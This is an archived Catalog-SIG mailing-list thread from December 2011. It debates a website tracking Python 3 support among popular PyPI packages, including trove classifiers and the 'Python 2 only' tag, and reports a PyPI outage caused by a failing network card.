Message-ID: <CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
On Fri, Dec 16, 2011 at 9:13 PM, Stefan Krah <stefan-usenet at bytereef.org>wrote:
> [Not replying to Chris, I don't have the previous mail]
>
> Chris McDonough <chrism at plope.com> wrote:
> > > I added both features (python2only and py3equivalents). It took a lot
> > > longer than I expected and cost $0.10 of GAE quotas...
> > >
> > >
> > > Please do critique:
> > >
> > >
> > > http://python3wos.appspot.com/
>
> I don't think this site is very useful in its current form. I immediately
> found two false positives:
>
> 1) ordereddict is part of:
>
> http://docs.python.org/dev/library/collections.html#collections.OrderedDict
>
>
> 2) pylint supports Python3 (from their README):
>
> "2to3 is integrated into the distutils installation process and will be
> run as a
> build step when invoked by the python3 interpreter:
>
> NO_SETUPTOOLS=1 python3 setup.py install --no-compile"
>
>
> Also, the site would look a lot greener if there were just two rows for
> all zope.* and plone.* packages.
>
>
> Stefan Krah
>
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
1) Fixed.
2) This is the same issue as with docutils. I believe that either a
maintainer of PyPI needs to add the trove classifier for them or someone
should contact Logilab and ask them to add the trove classifier.
3) Why is it that plone and zope have 81 packages on PyPI? In the next top
100 there are 7 green packages
(cssutils, argparse, pytest, pyramid, versiontools, PyYAML, scipy). So if I
consolidate plone and zope we get to about 59/200 vs 52/200. Not a huge
jump but a worthwhile one.
Yuval Greenfield
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111217/d36dde92/attachment.html>
From stefan-usenet at bytereef.org Sun Dec 18 00:37:35 2011
From: stefan-usenet at bytereef.org (Stefan Krah)
Date: Sun, 18 Dec 2011 00:37:35 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
Message-ID: <20111217233735.GA11590@sleipnir.bytereef.org>
Yuval Greenfield <ubershmekel at gmail.com> wrote:
> On Fri, Dec 16, 2011 at 9:13 PM, Stefan Krah <stefan-usenet at bytereef.org>
> 1) ordereddict is part of:
> 2) pylint supports Python3 (from their README):
>
> 1) Fixed.
> 2) This is the same issue as with docutils. I believe that either a maintainer
> of PyPI needs to add the trove classifier for them or someone should contact
> Logilab and ask them to add the trove classifier.
The persons who are running PyPI should only edit individual pages in
exceptional situations (illegal content etc.).
I was under the impression that you want to to promote Python3 adoption.
Why don't you contact Logilab and check the rest of the packages manually?
> 3) Why is it that plone and zope have 81 packages on PyPI?
I don't think it is the top priority of PyPI to facilitate generating
automated statistics. Also, anyone can upload a package without any
editorial process.
> In the next top 100 > there are 7 green packages
> (cssutils, argparse, pytest, pyramid, versiontools, PyYAML, scipy). So if I
> consolidate plone and zope we get to about 59/200 vs 52/200. Not a huge jump
> but a worthwhile one.
I don't know enough about the organization of the zope.* hierarchy. Perhaps
some people want to see that e.g. zope.interface is green.
On the whole, I believe that users of zope and plone are already acutely
aware if/when Python3 compatibility will happen. For the rest of Python
users, it would be far more interesting to see a wider variety of
packages.
Regarding the lock icon on a red background: Authors who use the
Python::2::Only tag want to be left alone. It is completely beyond
me why someone who once made a package freely available should
have a moral obligation to follow language changes forever.
What are you going to do in 10 years? Leave the Pylons entry with
a lock icon? How about maintaining a "wall of shame" for free
packages written in K&R C or free packages written in FORTRAN 77?
If an author has decided to use the classifier, he already accepts
that his package might get less attention in the future. This isn't
an easy decision, so please respect the intent of the classifier and
remove such packages from your site.
Stefan Krah
From martin at v.loewis.de Sun Dec 18 20:37:44 2011
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 18 Dec 2011 20:37:44 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <20111217233735.GA11590@sleipnir.bytereef.org>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com> <1323833780.3502.42.camel@thinko> <CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com> <1324057992.2556.61.camel@thinko> <20111216191330.GA32647@sleipnir.bytereef.org> <CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
Message-ID: <4EEE4108.7020808@v.loewis.de>
> The persons who are running PyPI should only edit individual pages in
> exceptional situations (illegal content etc.).
Indeed. People frequently request that we change meta-data about
packages (in particular broken URLs); we always point them to the
package authors.
Regards,
Martin
From fuzzyman at gmail.com Sun Dec 18 20:46:57 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Sun, 18 Dec 2011 19:46:57 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
Message-ID: <CAKCKLWyNKq43itK8FEuFdDws1q4=_LEcc_=n6AxQHjTrcPhiyQ@mail.gmail.com>
On 16 December 2011 23:01, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> On Fri, Dec 16, 2011 at 9:13 PM, Stefan Krah <stefan-usenet at bytereef.org>wrote:
>
>> [Not replying to Chris, I don't have the previous mail]
>>
>> Chris McDonough <chrism at plope.com> wrote:
>> > > I added both features (python2only and py3equivalents). It took a lot
>> > > longer than I expected and cost $0.10 of GAE quotas...
>> > >
>> > >
>> > > Please do critique:
>> > >
>> > >
>> > > http://python3wos.appspot.com/
>>
>> I don't think this site is very useful in its current form. I immediately
>> found two false positives:
>>
>> 1) ordereddict is part of:
>>
>>
>> http://docs.python.org/dev/library/collections.html#collections.OrderedDict
>>
>>
>> 2) pylint supports Python3 (from their README):
>>
>> "2to3 is integrated into the distutils installation process and will be
>> run as a
>> build step when invoked by the python3 interpreter:
>>
>> NO_SETUPTOOLS=1 python3 setup.py install --no-compile"
>>
>>
>> Also, the site would look a lot greener if there were just two rows for
>> all zope.* and plone.* packages.
>>
>>
>> Stefan Krah
>>
>>
>> _______________________________________________
>> Catalog-SIG mailing list
>> Catalog-SIG at python.org
>> http://mail.python.org/mailman/listinfo/catalog-sig
>>
>
>
>
> 1) Fixed.
> 2) This is the same issue as with docutils. I believe that either a
> maintainer of PyPI needs to add the trove classifier for them or someone
> should contact Logilab and ask them to add the trove classifier.
>
I strongly believe that your website would be of much greater use to the
Python community (instead of actively harmful) if packages that have Python
3 support show up in green. I'm very pleased (thank you) you've done this
with packages like ordereddict and unittest2, but some (additional) manual
curation for packages that do support Python 3 will complete the job.
All the best,
Michael Foord
> 3) Why is it that plone and zope have 81 packages on PyPI? In the next top
> 100 there are 7 green packages
> (cssutils, argparse, pytest, pyramid, versiontools, PyYAML, scipy). So if I
> consolidate plone and zope we get to about 59/200 vs 52/200. Not a huge
> jump but a worthwhile one.
>
>
> Yuval Greenfield
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111218/1c1ace57/attachment.html>
From martin at v.loewis.de Sun Dec 18 23:06:00 2011
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 18 Dec 2011 23:06:00 +0100
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEB0140.3020205@zopyx.com>
References: <4EEB0140.3020205@zopyx.com>
Message-ID: <4EEE63C8.8050007@v.loewis.de>
> Is there any severe problem with PyPI?
There were. The e1000 card kept complaining
e1000: eth0: e1000_clean_tx_irq: Detected Tx Unit Hang
under heavy load. Not sure whether that's a new problem,
or just now occurring due to increased load; notably,
the problems were much reduced over this weekend.
People reported that this may be due to bugs in the Linux
e1000 driver, but none of the suggested changes (most recent
driver, various module parameters) had any positive effect.
I have now moved PyPI to a different machine (the same
as www.python.org), and see whether I can get the network
card (or perhaps the cabling) replaced. www.python.org is
a quite larger machine, so it should be able to cope with
the extra load.
Regards,
Martin
From ubershmekel at gmail.com Mon Dec 19 00:09:32 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Mon, 19 Dec 2011 01:09:32 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <20111217233735.GA11590@sleipnir.bytereef.org>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
Message-ID: <CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
On Sun, Dec 18, 2011 at 1:37 AM, Stefan Krah <stefan-usenet at bytereef.org>wrote:
> Yuval Greenfield <ubershmekel at gmail.com> wrote:
> > On Fri, Dec 16, 2011 at 9:13 PM, Stefan Krah <stefan-usenet at bytereef.org
> >
> > 1) ordereddict is part of:
> > 2) pylint supports Python3 (from their README):
> >
> > 1) Fixed.
> > 2) This is the same issue as with docutils. I believe that either a
> maintainer
> > of PyPI needs to add the trove classifier for them or someone should
> contact
> > Logilab and ask them to add the trove classifier.
>
> The persons who are running PyPI should only edit individual pages in
> exceptional situations (illegal content etc.).
>
>
> I was under the impression that you want to to promote Python3 adoption.
> Why don't you contact Logilab and check the rest of the packages manually?
>
>
>
I'd already contacted several maintainers of packages with such a request.
Starting this project I assumed PyPI would be a reliable source for this
information, so I hope you can understand my mindset. I guess the WOS is
also good for motivating package owners to fix their classifiers.
On that note, I think PyPI should require python modules to declare which
version they're compatible with or tested on.
> If an author has decided to use the classifier, he already accepts
> that his package might get less attention in the future. This isn't
> an easy decision, so please respect the intent of the classifier and
> remove such packages from your site.
>
>
>
The WOS's main goal is to measure Python3 adoption in some non-trivial
fashion. Total downloads isn't a perfect comparison as many downloads
happened in the 8 years Python2 had a head start. Still, I don't know of a
better metric. Removing packages that are a gigantic part of the python
community would completely defeat the purpose of the site.
If/when Richard implements the statistics call to PyPI, I might be able to
implement more metrics.
On Sun, Dec 18, 2011 at 9:46 PM, Michael Foord <fuzzyman at gmail.com> wrote:
...
> some (additional) manual curation for packages that do support Python 3
> will complete the job.
>
>
Fine, fine, fine.... I added these cute little red triangles to the newly
green docutils and pylint. Are there others I should know of?
Yuval Greenfield
ps, some of you might prefer this limited edition better:
http://python3wos.appspot.com/?pygmalion=1
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111219/49fdb7f4/attachment.html>
From chrism at plope.com Mon Dec 19 05:58:56 2011
From: chrism at plope.com (Chris McDonough)
Date: Sun, 18 Dec 2011 23:58:56 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
Message-ID: <1324270736.2556.157.camel@thinko>
On Mon, 2011-12-19 at 01:09 +0200, Yuval Greenfield wrote:
>
> Fine, fine, fine.... I added these cute little red triangles to the
> newly green docutils and pylint. Are there others I should know of?
zc.buildout and zc.recipe.egg are others, FWIW.
Thanks,
- C
From g.brandl at gmx.net Mon Dec 19 09:14:53 2011
From: g.brandl at gmx.net (Georg Brandl)
Date: Mon, 19 Dec 2011 09:14:53 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
Message-ID: <jcmrkg$fkl$1@dough.gmane.org>
Am 19.12.2011 00:09, schrieb Yuval Greenfield:
> If an author has decided to use the classifier, he already accepts
> that his package might get less attention in the future. This isn't
> an easy decision, so please respect the intent of the classifier and
> remove such packages from your site.
>
>
>
> The WOS's main goal is to measure Python3 adoption in some non-trivial fashion.
Then perhaps you could give it a non-trivial name?
Georg
From jannis at leidel.info Mon Dec 19 11:26:46 2011
From: jannis at leidel.info (Jannis Leidel)
Date: Mon, 19 Dec 2011 11:26:46 +0100
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEE63C8.8050007@v.loewis.de>
References: <4EEB0140.3020205@zopyx.com> <4EEE63C8.8050007@v.loewis.de>
Message-ID: <C0E48D47-154E-454F-B562-2D9B682F8A97@leidel.info>
On 18.12.2011, at 23:06, Martin v. L?wis wrote:
>> Is there any severe problem with PyPI?
>
> There were. The e1000 card kept complaining
>
> e1000: eth0: e1000_clean_tx_irq: Detected Tx Unit Hang
>
> under heavy load. Not sure whether that's a new problem,
> or just now occurring due to increased load; notably,
> the problems were much reduced over this weekend.
>
> People reported that this may be due to bugs in the Linux
> e1000 driver, but none of the suggested changes (most recent
> driver, various module parameters) had any positive effect.
>
> I have now moved PyPI to a different machine (the same
> as www.python.org), and see whether I can get the network
> card (or perhaps the cabling) replaced. www.python.org is
> a quite larger machine, so it should be able to cope with
> the extra load.
Ah, I wasn't able to SSH into this new box, can you transfer the accounts from ximinez to www?
Jannis
From fuzzyman at gmail.com Mon Dec 19 12:05:10 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Mon, 19 Dec 2011 11:05:10 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
Message-ID: <CAKCKLWy4izS1GM-DCLM7nbJX=epNvKaDCQCFOtu7LaxAQc5B=A@mail.gmail.com>
On 18 December 2011 23:09, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> On Sun, Dec 18, 2011 at 1:37 AM, Stefan Krah <stefan-usenet at bytereef.org>wrote:
>
>> Yuval Greenfield <ubershmekel at gmail.com> wrote:
>> > On Fri, Dec 16, 2011 at 9:13 PM, Stefan Krah <
>> stefan-usenet at bytereef.org>
>> > 1) ordereddict is part of:
>> > 2) pylint supports Python3 (from their README):
>> >
>> > 1) Fixed.
>> > 2) This is the same issue as with docutils. I believe that either a
>> maintainer
>> > of PyPI needs to add the trove classifier for them or someone should
>> contact
>> > Logilab and ask them to add the trove classifier.
>>
>> The persons who are running PyPI should only edit individual pages in
>> exceptional situations (illegal content etc.).
>>
>>
>> I was under the impression that you want to to promote Python3 adoption.
>> Why don't you contact Logilab and check the rest of the packages manually?
>>
>>
>>
>
> I'd already contacted several maintainers of packages with such a request.
> Starting this project I assumed PyPI would be a reliable source for this
> information, so I hope you can understand my mindset. I guess the WOS is
> also good for motivating package owners to fix their classifiers.
>
> On that note, I think PyPI should require python modules to declare which
> version they're compatible with or tested on.
>
>
The use of trove classifiers at all isn't compulsory on PyPI, so although I
agree it would be *preferable* for all authors to use them correctly I
don't think PyPI is going to require it any time soon.
>
>> If an author has decided to use the classifier, he already accepts
>> that his package might get less attention in the future. This isn't
>> an easy decision, so please respect the intent of the classifier and
>> remove such packages from your site.
>>
>>
>>
> The WOS's main goal is to measure Python3 adoption in some non-trivial
> fashion. Total downloads isn't a perfect comparison as many downloads
> happened in the 8 years Python2 had a head start. Still, I don't know of a
> better metric. Removing packages that are a gigantic part of the python
> community would completely defeat the purpose of the site.
>
> If/when Richard implements the statistics call to PyPI, I might be able to
> implement more metrics.
>
>
> On Sun, Dec 18, 2011 at 9:46 PM, Michael Foord <fuzzyman at gmail.com> wrote:
> ...
>
> some (additional) manual curation for packages that do support Python 3
>> will complete the job.
>>
>>
> Fine, fine, fine.... I added these cute little red triangles to the newly
> green docutils and pylint. Are there others I should know of?
>
Thank you, a great improvement.
All the best,
Michael Foord
>
>
> Yuval Greenfield
>
>
> ps, some of you might prefer this limited edition better:
> http://python3wos.appspot.com/?pygmalion=1
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111219/22a54646/attachment.html>
From ubershmekel at gmail.com Mon Dec 19 12:49:07 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Mon, 19 Dec 2011 13:49:07 +0200
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEE63C8.8050007@v.loewis.de>
References: <4EEB0140.3020205@zopyx.com>
<4EEE63C8.8050007@v.loewis.de>
Message-ID: <CANSw7KyFd=X-=adsN-PLSUD1OQW8Vn-aLiTe71BaBQTwxPvqSw@mail.gmail.com>
On Mon, Dec 19, 2011 at 12:06 AM, "Martin v. L?wis" <martin at v.loewis.de>wrote:
> > Is there any severe problem with PyPI?
>
> There were. The e1000 card kept complaining
>
> e1000: eth0: e1000_clean_tx_irq: Detected Tx Unit Hang
>
> under heavy load. Not sure whether that's a new problem,
> or just now occurring due to increased load; notably,
> the problems were much reduced over this weekend.
>
> People reported that this may be due to bugs in the Linux
> e1000 driver, but none of the suggested changes (most recent
> driver, various module parameters) had any positive effect.
>
> I have now moved PyPI to a different machine (the same
> as www.python.org), and see whether I can get the network
> card (or perhaps the cabling) replaced. www.python.org is
> a quite larger machine, so it should be able to cope with
> the extra load.
>
>
My logs show that between 2011-12-19 10:49:15 and 2011-12-19 00:58:17
(UTC) were the last PyPI errors. So it seems fixed.
Thank you,
Yuval Greenfield
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111219/d346162a/attachment.html>
From ubershmekel at gmail.com Mon Dec 19 13:35:03 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Mon, 19 Dec 2011 14:35:03 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CAKCKLWy4izS1GM-DCLM7nbJX=epNvKaDCQCFOtu7LaxAQc5B=A@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
<CAKCKLWy4izS1GM-DCLM7nbJX=epNvKaDCQCFOtu7LaxAQc5B=A@mail.gmail.com>
Message-ID: <CANSw7KxVC1WVqtp7Vn5_nBgV-P8-QVDA2-Ab5B=OeTQewfbq8Q@mail.gmail.com>
On Mon, Dec 19, 2011 at 1:05 PM, Michael Foord <fuzzyman at gmail.com> wrote:
>
> The use of trove classifiers at all isn't compulsory on PyPI, so although
> I agree it would be *preferable* for all authors to use them correctly I
> don't think PyPI is going to require it any time soon.
>
>
>
Are we happy that it isn't compulsory? I mean, there are a lot of
compulsory lines in setup.py/cfg, why not require a compatibility tag?
>From a backwards compatibility standpoint, I guess a warning could be
emitted for a year or 2 until the compatibility classifiers are actually
mandatory.
I'm sure I'm not the only one who's struggled with eg Scapy working only on
2.6 and not 2.7, which is only a minor occurrence compared to the great
py3k divide.
Yuval Greenfield
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111219/ae9126f1/attachment.html>
From martin at v.loewis.de Mon Dec 19 17:41:54 2011
From: martin at v.loewis.de (martin at v.loewis.de)
Date: Mon, 19 Dec 2011 17:41:54 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KxVC1WVqtp7Vn5_nBgV-P8-QVDA2-Ab5B=OeTQewfbq8Q@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
<CAKCKLWy4izS1GM-DCLM7nbJX=epNvKaDCQCFOtu7LaxAQc5B=A@mail.gmail.com>
<CANSw7KxVC1WVqtp7Vn5_nBgV-P8-QVDA2-Ab5B=OeTQewfbq8Q@mail.gmail.com>
Message-ID: <20111219174154.Horde.o2PrDlNNcXdO72lSVdamEMA@webmail.df.eu>
>> The use of trove classifiers at all isn't compulsory on PyPI, so although
>> I agree it would be *preferable* for all authors to use them correctly I
>> don't think PyPI is going to require it any time soon.
>>
>>
>>
> Are we happy that it isn't compulsory? I mean, there are a lot of
> compulsory lines in setup.py/cfg, why not require a compatibility tag?
Packages on PyPI don't even need to use setup.py at all, and may use
autoconf or plain make instead.
There is always a conflict of interest wrt. PyPI between package authors
and package users. Package users often demand that package authors do
something, and then ask that PyPI enforces this. Package authors then explain
reasons why they don't want to do that, and threaten to host their packages
elsewhere.
In the specific case, I don't think that requiring version classifiers would
be useful. First, tools (like setuptools) might start filling out "default"
values for these, so that users don't have to modify their setuo.pys.
Furthermore, proper declaration wouldn't have helped you either: if the
2.7 classifier is missing, is it because the software doesn't work on 2.7,
or is it that the author hasn't added 2.7 to the list?
Regards,
Martin
From stefan-usenet at bytereef.org Mon Dec 19 18:56:36 2011
From: stefan-usenet at bytereef.org (Stefan Krah)
Date: Mon, 19 Dec 2011 18:56:36 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
Message-ID: <20111219175636.GA23419@sleipnir.bytereef.org>
Yuval Greenfield <ubershmekel at gmail.com> wrote:
> I'd already contacted several maintainers of packages with such a request.
> Starting this project I assumed PyPI would be a reliable source for this
> information, so I hope you can understand my mindset.
No, unfortunately PyPI isn't so reliable in that respect. Short of
downloading and checking each package manually, the next best option
is to check:
http://code.activestate.com/pypm/
Here we go:
http://code.activestate.com/pypm/pylint/ -> green
http://code.activestate.com/pypm/logilab-common/ -> green
http://code.activestate.com/pypm/logilab-astng/ -> green
http://code.activestate.com/pypm/paste/ -> green
http://code.activestate.com/pypm/pycrypto/ -> green
http://code.activestate.com/pypm/python-dateutil/ -> green
http://code.activestate.com/pypm/zconfig/ -> green
http://code.activestate.com/pypm/zdaemon/ -> green
http://code.activestate.com/pypm/pyopenssl/ -> green
http://code.activestate.com/pypm/ordereddict/ -> green
[ordereddict is still red on your site]
http://code.activestate.com/pypm/yolk/ -> green
That was tough.
Stefan Krah
From chrism at plope.com Mon Dec 19 20:14:11 2011
From: chrism at plope.com (Chris McDonough)
Date: Mon, 19 Dec 2011 14:14:11 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <20111219175636.GA23419@sleipnir.bytereef.org>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
<CANSw7KyA-ksP_itZiNWvyCgUdG2z=8WQjqYw6ybQ_vvtT7uUNA@mail.gmail.com>
<20111217233735.GA11590@sleipnir.bytereef.org>
<CANSw7Kwt+cYcV6rN3C8x8cOghCo9O-v81vi0MHcc2HRHC0v29g@mail.gmail.com>
<20111219175636.GA23419@sleipnir.bytereef.org>
Message-ID: <1324322051.2556.161.camel@thinko>
On Mon, 2011-12-19 at 18:56 +0100, Stefan Krah wrote:
> Yuval Greenfield <ubershmekel at gmail.com> wrote:
> > I'd already contacted several maintainers of packages with such a request.
> > Starting this project I assumed PyPI would be a reliable source for this
> > information, so I hope you can understand my mindset.
>
> No, unfortunately PyPI isn't so reliable in that respect. Short of
> downloading and checking each package manually, the next best option
> is to check:
>
> http://code.activestate.com/pypm/
>
> Here we go:
>
> http://code.activestate.com/pypm/pylint/ -> green
> http://code.activestate.com/pypm/logilab-common/ -> green
> http://code.activestate.com/pypm/logilab-astng/ -> green
>
> http://code.activestate.com/pypm/paste/ -> green
> http://code.activestate.com/pypm/pycrypto/ -> green
> http://code.activestate.com/pypm/python-dateutil/ -> green
> http://code.activestate.com/pypm/zconfig/ -> green
> http://code.activestate.com/pypm/zdaemon/ -> green
> http://code.activestate.com/pypm/pyopenssl/ -> green
>
> http://code.activestate.com/pypm/ordereddict/ -> green
> [ordereddict is still red on your site]
>
> http://code.activestate.com/pypm/yolk/ -> green
I can speak from experience that paste is not 3.X compatible. I'm not
sure why PyPM would list it compatible. Maybe it installs, but it
doesn't work.
- C
